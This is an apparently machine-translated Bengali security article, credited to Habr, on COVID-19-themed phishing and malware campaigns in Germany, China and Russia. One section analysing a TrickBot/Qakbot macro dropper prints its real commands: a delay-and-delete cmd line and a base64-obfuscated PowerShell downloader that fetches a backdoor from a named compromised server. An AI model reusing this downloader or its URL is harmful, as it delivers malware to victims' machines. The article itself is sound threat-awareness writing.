করোনাভাইরাস সাইবার আক্রমণ: পুরো বিষয়টি সামাজিক প্রকৌশলে

আক্রমণকারীরা COVID-19 বিষয়কে শোষণ করে চলেছে, যারা মহামারী সম্পর্কিত সমস্ত কিছুতে গভীরভাবে আগ্রহী ব্যবহারকারীদের জন্য আরও বেশি হুমকি তৈরি করে। ভিতরে সর্বশেষ পোস্ট করোনভাইরাসটির প্রেক্ষিতে কী ধরণের ম্যালওয়্যার উপস্থিত হয়েছিল সে সম্পর্কে আমরা ইতিমধ্যে কথা বলেছি এবং আজ আমরা সোশ্যাল ইঞ্জিনিয়ারিং কৌশলগুলি সম্পর্কে কথা বলব যা রাশিয়া সহ বিভিন্ন দেশের ব্যবহারকারীরা ইতিমধ্যে সম্মুখীন হয়েছে। সাধারণ প্রবণতা এবং উদাহরণ কাটা অধীন হয়.

মনে রাখবেন গত বার আমরা এই বিষয়ে কথা বলেছিলাম যে লোকেরা কেবল করোনভাইরাস এবং মহামারী সম্পর্কেই নয়, আর্থিক সহায়তার ব্যবস্থা সম্পর্কেও পড়তে ইচ্ছুক? এখানে একটি ভাল উদাহরণ. জার্মান রাজ্য নর্থ রাইন-ওয়েস্টফালিয়া বা NRW-তে একটি আকর্ষণীয় ফিশিং আক্রমণ আবিষ্কৃত হয়েছে৷ হামলাকারীরা অর্থনীতি মন্ত্রণালয়ের ওয়েবসাইটের কপি তৈরি করেছে (এনআরডব্লিউ অর্থনৈতিক বিষয়ক মন্ত্রণালয়), যেখানে যে কেউ আর্থিক সহায়তার জন্য আবেদন করতে পারে৷ এই ধরনের একটি প্রোগ্রাম আসলে বিদ্যমান, এবং এটি স্ক্যামারদের জন্য উপকারী হতে পরিণত. তাদের ভুক্তভোগীদের ব্যক্তিগত তথ্য পাওয়ার পর, তারা প্রকৃত মন্ত্রণালয়ের ওয়েবসাইটে একটি আবেদন করেছিল, কিন্তু অন্যান্য ব্যাঙ্কের বিবরণ নির্দেশ করেছিল। সরকারী তথ্য অনুসারে, এই স্কিমটি আবিষ্কার হওয়া পর্যন্ত 4 হাজার ভুয়ো অনুরোধ করা হয়েছিল। ফলস্বরূপ, ক্ষতিগ্রস্ত নাগরিকদের জন্য 109 মিলিয়ন ডলার প্রতারকদের হাতে পড়ে।

আপনি কি COVID-19 এর জন্য একটি বিনামূল্যে পরীক্ষা করতে চান?

করোনাভাইরাস-থিমযুক্ত ফিশিংয়ের আরেকটি উল্লেখযোগ্য উদাহরণ ছিল আবিষ্কৃত ইমেইলে বার্তাগুলি করোনভাইরাস সংক্রমণের জন্য বিনামূল্যে পরীক্ষার মধ্য দিয়ে যাওয়ার প্রস্তাব দিয়ে ব্যবহারকারীদের দৃষ্টি আকর্ষণ করেছিল। এগুলোর সংযুক্তিতে চিঠি ট্রিকবট/ক্যাকবট/কিউবটের উদাহরণ ছিল। এবং যারা তাদের স্বাস্থ্য পরীক্ষা করতে ইচ্ছুক তারা যখন "সংযুক্ত ফর্মটি পূরণ করতে" শুরু করে, তখন কম্পিউটারে একটি দূষিত স্ক্রিপ্ট ডাউনলোড করা হয়েছিল। এবং স্যান্ডবক্সিং পরীক্ষা এড়াতে, স্ক্রিপ্টটি কিছু সময়ের পরেই মূল ভাইরাস ডাউনলোড করা শুরু করে, যখন সুরক্ষা ব্যবস্থাগুলি নিশ্চিত হয়েছিল যে কোনও দূষিত কার্যকলাপ ঘটবে না।

ম্যাক্রো সক্ষম করতে বেশিরভাগ ব্যবহারকারীকে বোঝানোও সহজ ছিল। এটি করার জন্য, একটি আদর্শ কৌশল ব্যবহার করা হয়েছিল: প্রশ্নাবলী পূরণ করতে, আপনাকে প্রথমে ম্যাক্রো সক্ষম করতে হবে, যার অর্থ আপনাকে একটি VBA স্ক্রিপ্ট চালাতে হবে।

আপনি দেখতে পাচ্ছেন, ভিবিএ স্ক্রিপ্টটি অ্যান্টিভাইরাস থেকে বিশেষভাবে মুখোশযুক্ত।

উইন্ডোজের একটি অপেক্ষা বৈশিষ্ট্য রয়েছে যেখানে অ্যাপ্লিকেশনটি ডিফল্ট "হ্যাঁ" উত্তর গ্রহণ করার আগে /T <সেকেন্ড> অপেক্ষা করে। আমাদের ক্ষেত্রে, অস্থায়ী ফাইলগুলি মুছে ফেলার আগে স্ক্রিপ্টটি 65 সেকেন্ড অপেক্ষা করেছিল:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:UsersPublictmpdirtmps1.bat & del C:UsersPublic1.txt

এবং অপেক্ষা করার সময়, ম্যালওয়্যার ডাউনলোড করা হয়েছিল। এর জন্য একটি বিশেষ পাওয়ারশেল স্ক্রিপ্ট চালু করা হয়েছিল:

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:UsersPublic1.txt

Base64 মান ডিকোড করার পরে, PowerShell স্ক্রিপ্ট জার্মানি থেকে পূর্বে হ্যাক করা ওয়েব সার্ভারে অবস্থিত ব্যাকডোর ডাউনলোড করে:

http://automatischer-staubsauger.com/feature/777777.png

এবং এটি নামের অধীনে সংরক্ষণ করে:

C:UsersPublictmpdirfile1.exe

ফোল্ডারের ‘C:UsersPublictmpdir’ কমান্ড ধারণ করে 'tmps1.bat' ফাইলটি চালানোর সময় মুছে ফেলা হয় cmd /c mkdir ""C:UsersPublictmpdir"".

সরকারি সংস্থার ওপর লক্ষ্যবস্তু হামলা

উপরন্তু, FireEye বিশ্লেষকরা সম্প্রতি উহানের সরকারি কাঠামোর পাশাপাশি চীনা জরুরী ব্যবস্থাপনা মন্ত্রণালয়ের লক্ষ্যবস্তু APT32 আক্রমণের কথা জানিয়েছেন। বিতরণ করা RTF-এর একটিতে নিউ ইয়র্ক টাইমসের একটি নিবন্ধের একটি লিঙ্ক রয়েছে যার শিরোনাম রয়েছে৷ করোনাভাইরাস লাইভ আপডেট: চীন হুবেই থেকে ভ্রমণকারীদের ট্র্যাক করছে. যাইহোক, এটি পড়ার পরে, ম্যালওয়্যার ডাউনলোড করা হয়েছিল (FireEye বিশ্লেষকরা উদাহরণটিকে মেটালজ্যাক হিসাবে চিহ্নিত করেছেন)।

মজার বিষয় হল, সনাক্তকরণের সময়, ভাইরাসটোটাল অনুসারে, কোনও অ্যান্টিভাইরাস এই উদাহরণটি সনাক্ত করেনি।

যখন অফিসিয়াল ওয়েবসাইট ডাউন হয়

একটি ফিশিং আক্রমণের সবচেয়ে আকর্ষণীয় উদাহরণ ঠিক অন্য দিন রাশিয়ায় ঘটেছে৷ এর কারণ ছিল 3 থেকে 16 বছর বয়সী শিশুদের জন্য একটি দীর্ঘ প্রতীক্ষিত সুবিধার নিয়োগ। যখন 12 মে, 2020-এ আবেদনগুলি গ্রহণের শুরু ঘোষণা করা হয়েছিল, তখন লক্ষ লক্ষ লোক দীর্ঘ প্রতীক্ষিত সাহায্যের জন্য রাজ্য পরিষেবাগুলির ওয়েবসাইটে ছুটে আসে এবং পোর্টালটিকে পেশাদার DDoS আক্রমণের চেয়ে খারাপ করে না। রাষ্ট্রপতি যখন বলেছিলেন যে "সরকারি পরিষেবাগুলি আবেদনের প্রবাহের সাথে মোকাবিলা করতে পারে না," লোকেরা আবেদন গ্রহণের জন্য একটি বিকল্প সাইট চালু করার বিষয়ে অনলাইনে কথা বলতে শুরু করে।

সমস্যা হল যে বেশ কয়েকটি সাইট একবারে কাজ শুরু করেছে, এবং যখন একটি, posobie16.gosuslugi.ru-এ আসল একটি, আসলে অ্যাপ্লিকেশনগুলি গ্রহণ করে, আরও কয়েক ডজন নির্বোধ ব্যবহারকারীদের ব্যক্তিগত তথ্য সংগ্রহ করে.

SearchInform-এর সহকর্মীরা .ru জোনে প্রায় ৩০টি নতুন প্রতারণামূলক ডোমেন খুঁজে পেয়েছেন। ইনফোসিকিউরিটি এবং সফটলাইন কোম্পানি এপ্রিলের শুরু থেকে অনুরূপ 30টিরও বেশি জাল সরকারি পরিষেবার ওয়েবসাইটগুলিকে ট্র্যাক করেছে৷ তাদের স্রষ্টারা পরিচিত চিহ্নগুলিকে কাজে লাগান এবং gosuslugi, gosuslugi-70, vyplaty, covid-vyplaty, posobie ইত্যাদি শব্দগুলির সংমিশ্রণও ব্যবহার করেন।

হাইপ এবং সামাজিক প্রকৌশল

এই সমস্ত উদাহরণ শুধুমাত্র নিশ্চিত করে যে আক্রমণকারীরা করোনাভাইরাস বিষয়ক সফলভাবে নগদীকরণ করছে। এবং সামাজিক উত্তেজনা এবং আরও অস্পষ্ট বিষয়গুলি যত বেশি হবে, স্ক্যামারদের গুরুত্বপূর্ণ ডেটা চুরি করার, লোকেদের তাদের নিজের অর্থ ছেড়ে দিতে বাধ্য করার বা আরও বেশি কম্পিউটার হ্যাক করার সম্ভাবনা তত বেশি।

এবং প্রদত্ত যে মহামারী সম্ভাব্যভাবে অপ্রস্তুত লোকদের বাড়ি থেকে ব্যাপকভাবে কাজ করতে বাধ্য করেছে, কেবল ব্যক্তিগত নয়, কর্পোরেট ডেটাও ঝুঁকির মধ্যে রয়েছে। উদাহরণস্বরূপ, সম্প্রতি Microsoft 365 (পূর্বে অফিস 365) ব্যবহারকারীরাও ফিশিং আক্রমণের শিকার হয়েছেন। লোকেরা চিঠির সাথে সংযুক্তি হিসাবে বিশাল "মিসড" ভয়েস বার্তা পেয়েছে। যাইহোক, ফাইলগুলি আসলে একটি এইচটিএমএল পৃষ্ঠা ছিল যা আক্রমণের শিকারদের পাঠানো হয়েছিল নকল Microsoft 365 সাইন-ইন পৃষ্ঠা. ফলস্বরূপ, অ্যাক্সেস হারানো এবং অ্যাকাউন্ট থেকে সমস্ত ডেটার আপস।

উত্স: www.habr.com